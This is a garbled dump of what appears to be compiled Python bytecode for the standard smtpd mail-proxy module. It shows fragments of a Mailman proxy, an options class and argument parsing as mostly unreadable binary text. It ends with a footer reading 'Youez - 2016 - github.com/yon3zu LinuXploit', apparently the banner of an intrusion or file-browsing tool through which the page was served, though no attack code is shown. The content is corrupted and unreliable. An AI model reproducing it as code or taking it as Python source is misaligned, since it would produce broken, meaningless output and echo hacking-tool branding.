d |d<|j|dd	�q�WdS)#Nr)�StringIO)�Utils)�Message)�MailList�@�-r)rr�admin�owner�requestrr�leavezforwarding recips:rorzwe got refusals:�fromZFromZdateZDatezsending message to�lock�tolistZtoadminZtoownerZ	torequestZ	subscribeZSubjectZunsubscribe)rr�r�r�rrr�)rrr�)�ior�ZMailmanr�r�r��lowerrwriZlist_existsrj�removerrrrKr�r�r�r�ZEnqueue)rrErRrSrlr�r�r�r�Z	listnamesZrcpt�local�partsZlistnamer{r�Zmlistsr�rZmlistr
r
r
rxsd


	



zMailmanProxy.process_message)rrrr/rxr
r
)r�r
rsc@s(eZdZdZdZdZdZdS)�OptionsTrNF)rrr�setuid�	classname�
size_limitr4r
r
r
r
r�ksr�c
!Cs%yAtjtjdd�dddddddd	g�\}}Wn5tjk
rx}ztd|�WYdd}~XnXt�}x|D]�\}}|d'kr�td�q�|d(kr�tt�tjd�q�|d)kr�d|_	q�|d*kr||_
q�|d+krtjaq�|d,kr4d|_
q�|d-kr�yt|�}||_Wq�td|dtj�tjd�Yq�Xq�Wt|�dkr�d}d}nht|�dkr�|d}d}nCt|�d kr�|d}|d}ntdd!tj|��|jd"�}	|	dkrAtdd#|�|d|	�|_y!t||	dd��|_Wn#tk
r�tdd$|�YnX|jd"�}	|	dkr�tdd%|�|d|	�|_y!t||	dd��|_Wn#tk
r tdd&|�YnX|S).Nrz	nVhc:s:duzclass=Znosetuid�version�helpzsize=�debugr��-h�--helpr�-V�	--version�-n�
--nosetuidF�-c�--class�-d�--debug�-u�
--smtputf8T�-s�--sizezInvalid size: rzlocalhost:8025zlocalhost:25r)�zInvalid arguments: %s�:zBad local spec: %szBad local port: %szBad remote spec: %szBad remote port: %s)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�)r�r�)�getoptr�argv�errorrr�rrMrr�r�rrKr4r�r�ri�
COMMASPACErrrs�	localhost�	localportr%�
remotehost�
remoteport)
ZoptsrHr��options�optr|Zint_sizeZ	localspecZ
remotespecrzr
r
r
�	parseargsrsp 	


	
	

!
!
r�__main__r*rr4z7Cannot import module "pwd"; try running with -n option.r�nobodyr)z3Cannot setuid "nobody"; try running with -n option.)?r�osrIr�r�rAr�r-r��warningsrZemail._header_value_parserrr�__all__r�ZprogramrMr	rKr:r�r�rr.rr�rrrrr�rrrr��rfindZlastdot�
__import__r�locals�modrrv�class_r�r�r�rr�r4�proxyr��pwd�ImportErrorrrr�getpwnamr�PermissionErrorZloop�KeyboardInterruptr
r
r
r
�<module>Psp
	��U-SB		(	




Youez - 2016 - github.com/yon3zu
LinuXploit